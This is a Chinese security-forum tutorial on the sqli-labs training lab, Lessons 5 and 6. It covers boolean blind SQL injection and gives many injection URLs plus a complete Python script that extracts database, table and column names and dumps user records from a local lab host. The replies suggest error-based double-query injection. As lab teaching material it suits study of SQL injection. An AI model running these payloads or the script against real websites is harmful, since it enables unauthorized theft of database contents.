用户
搜索
  • TA的每日心情
    开心
    6 天前
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    4

    主题

    11

    帖子

    128

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2017-3-13

    i春秋签约作者

    发表于 2017-9-14 14:58:27 514557
    本帖最后由 Mochazz 于 2017-9-15 07:43 编辑

    sqli-labs lession 5 之盲注型SQL入门

    Lession 5

    如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。

    如果sql语句查询结果不存在,则不会显示”You are in”

    这种类型的SQL注入属于盲注型,使用id=1’观察报错信息,如下图

    可以看到报错信息是''1'' LIMIT 0,1',也就是说后台代码可能是这样写的: SELECT * FROM users WHERE id='$id' LIMIT 0,1

    下面,我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。
    ascii(a)将a转换成其ASCII值
    ord(a)将a转换成其ASCII值
    left(a,b)从左往右截取字符串a的前b个字符
    substr(a,b,c)从b位置开始,截取字符串a的c长度
    mid(a,b,c)从位置b开始,截取a字符串的c位
    select * from table_name limit m,n;表示从m+1开始取n条查询记录
    具体可以参考这一篇文章:sqli-labs环境搭建及数据库基础

    首先,我们要获取当前数据库名的长度,用于之后的数据库名猜解
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and (length(database())=1)--+


    上面的数字你可以从1开始递增,发现在 length(database())=8的时候,页面返回了正确信息,这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下,效果图如下

    接下来就要对数据库名的每个字符进行猜解
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and (left(database(),1)='s')--+

    left(database(),1)='s' 表示数据库名从左往右取一个字符,判断该字符是否等于s

    left(database(),2)='se' 表示数据库名从左往右取两个个字符,判断该字符是否等于se
    这里的s和se并不是固定的,你可以尝试ASCII表中的每个字符
    同样写成脚本跑一下,效果图如下

    下面要查询security数据库下的表的个数
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and 1=(select count(table_name) from information_schema.tables where table_schema='security')--+

    将等号左边的1进行递增即可判断出security数据库下表的个数,效果图如下

    如果你不熟悉文中出现的select语句,可以参考:sqli-labs lession1-4

    然后就是判断每个表名的长度
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))--+

    使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对 limit num,1),num,1)) num部分进行递增判断,如果进行到 limit 0,1),7,1)) 时页面返回空,则说明第一张表的长度为7-1=6

    判断出表名长度后,就要对表名进行猜解
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=1--+

    这里其实跟上面的猜解数据库名原理是一样的,将等号右边的1进行递增判断,如果页面返回”You are in”,则表示第一张表的第一个字符的ASCII码为1,在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧,太多了)



    接下来就要猜解每个表里的列的个数、列名以及列名长度,列名猜解,和上面原理都差不多,这里不再赘述,直接给出payload(以users表为例子)。

    猜解列的个数
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and %d=(select count(column_name) from information_schema.columns where table_name='users')--+

    猜解列名长度
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))--+

    猜解列名
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=97--+

    程序运行效果图

    最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)

    判断字段长度
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and 1=(select count(username) from security.users)--+

    判断字段长度
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))--+

    判断字段值
    http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=95--+

    程序运行效果图

    最后给出完整的python代码(python3)

        import requests
        url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
        db_length = 0
        db_name = ''
        table_num = 0
        table_len = 0
        table_name = ''
        table_list = []
        column_num = 0
        column_len = 0
        column_name = ''
        column_list = []
        dump_num = 0
        dump_len = 0
        dump_name = ''
        dump_list = []
        i = j = k = 0
        ### 当前数据库名长度 ###
        for i in range(1,20):
            db_payload = '''' and (length(database())=%d)--+''' %i
            # print(url+db_payload)
            r = requests.get(url+db_payload)
            if "You are in" in r.text:
                db_length = i
                print('当前数据库名长度为:%d' % db_length)
                break
        ### 当前数据库名 ###
        print('开始猜解数据库名......')
        for i in range(1,db_length+1):
            for j in range(95,123):
                db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
                r = requests.get(url+db_payload)
                if "You are in" in r.text:
                    db_name += chr(j)
                    # print(db_name)
                    break
        print('数据库名:\n[+]',db_name)
        ### 当前数据库表的数目 ###
        for i in range(100):
            db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
            r = requests.get(url+db_payload)
            # print(url+db_payload)
            if "You are in" in r.text:
                table_num = i
                break
        print('一共有%d张表' % table_num)
        print('开始猜解表名......')
        ### 每张表的表名长度及表名 ###
        for i in range(table_num):
            table_len = 0
            table_name = ''
            #### 表名长度 ####
            for j in range(1,21):
                db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)
                r = requests.get(url+db_payload)
                # print(db_payload)
                if "You are in" not in r.text:
                    table_len = j-1
                    #### 猜解表名 ####
                    for k in range(1,table_len+1):
                        for l in range(95,123):
                            db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)
                            # print(db_payload)
                            r = requests.get(url+db_payload)
                            # print(db_payload)
                            if "You are in" in r.text:
                                table_name += chr(l)
                    print(table_name)
                    table_list.append(table_name)
                    break
        print('表名:',table_list)
        ### 每个表的列的数目、列名及列名长度 ###
        for i in table_list:
            #### 每个表的列的数目 ####
            for j in range(100):
                db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (
                j, i)
                r = requests.get(url + db_payload)
                if "You are in" in r.text:
                    column_num = j
                    print(("[+] 表名:%-10s\t" % i) + str(column_num) + '字段')
                    break
        #### 猜解列名长度 ####
        column_num = 3
        print('%s表中的列名:' % table_list[-1])
        for j in range(3):
            column_name = ''
            for k in range(1,21):
                db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)
                r = requests.get(url+db_payload)
                if "You are in" not in r.text:
                    column_len = k-1
                    # print(column_len)
                    break
                #### 猜解列名 ####
                for l in range(95,123):
                    db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)
                    r = requests.get(url + db_payload)
                    if "You are in" in r.text:
                        column_name += chr(l)
            print('[+] ',column_name)
            column_list.append(column_name)
        print('开始爆破以下字段:',column_list[1:])
        for column in column_list[1:]:
            print(column,':')
            dump_num = 0
            for i in range(30):
                db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])
                # print(db_payload)
                r = requests.get(url+db_payload)
                if "You are in" in r.text:
                    dump_num = i
                    # print(i)
                    break
            for i in range(dump_num):
                dump_len = 0
                dump_name = ''
                #### 字段长度 ####
                for j in range(1, 21):
                    db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)
                    r = requests.get(url + db_payload)
                    if "You are in" not in r.text:
                        dump_len = j-1
                        for k in range(1, dump_len + 1):
                            for l in range(1,256):
                                db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)
                                # print(db_payload)
                                r = requests.get(url+db_payload)
                                if "You are in" in r.text:
                                    dump_name += chr(l)
                                    # print(dump_name)
                                    break
                        break
                print('[+]',dump_name)

    Lession 6

    第六关的话,将上面脚本中db_payload里的'(单引号)改成"(双引号)即可通关。

    总结

    写这个代码只是为了学习sql盲注,在写的过程中也想放弃,因为一直出错而且不知道错在哪里,但是最后还是完整的写完。其实代码还有很多地方可以改进,例如猜解字符可以使用二分法,这样效率会更快。还是继续努力吧。如果上面有些语句看不懂,可以在mysql中运行一下,可以更好理解。

    发表于 2017-9-14 16:41:56
    python代码写的6666
    使用道具 举报 回复
    发表于 2017-9-14 21:12:04
    这个代码把payload部分的'(单引号)改成"(双引号)即可用于破解第六关
    使用道具 举报 回复
    写的不错,不过跟作者的本意有偏差,题目名字叫Double Injection(双查询注入),通过count(*),rand(),group by进行报错注入最快。
    使用道具 举报 回复
    发表于 2017-9-16 19:23:10
    亲我一下 发表于 2017-9-16 17:33
    写的不错,不过跟作者的本意有偏差,题目名字叫Double Injection(双查询注入),通过count(*),rand(),gr ...

    嗯,还在学习阶段
    使用道具 举报 回复
    发表于 2017-9-20 17:11:38
    亲我一下 发表于 2017-9-16 17:33
    写的不错,不过跟作者的本意有偏差,题目名字叫Double Injection(双查询注入),通过count(*),rand(),gr ...

    补上双查询注入
    Double SQL Injection(双查询注入):https://bbs.ichunqiu.com/thread-27209-1-1.html
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册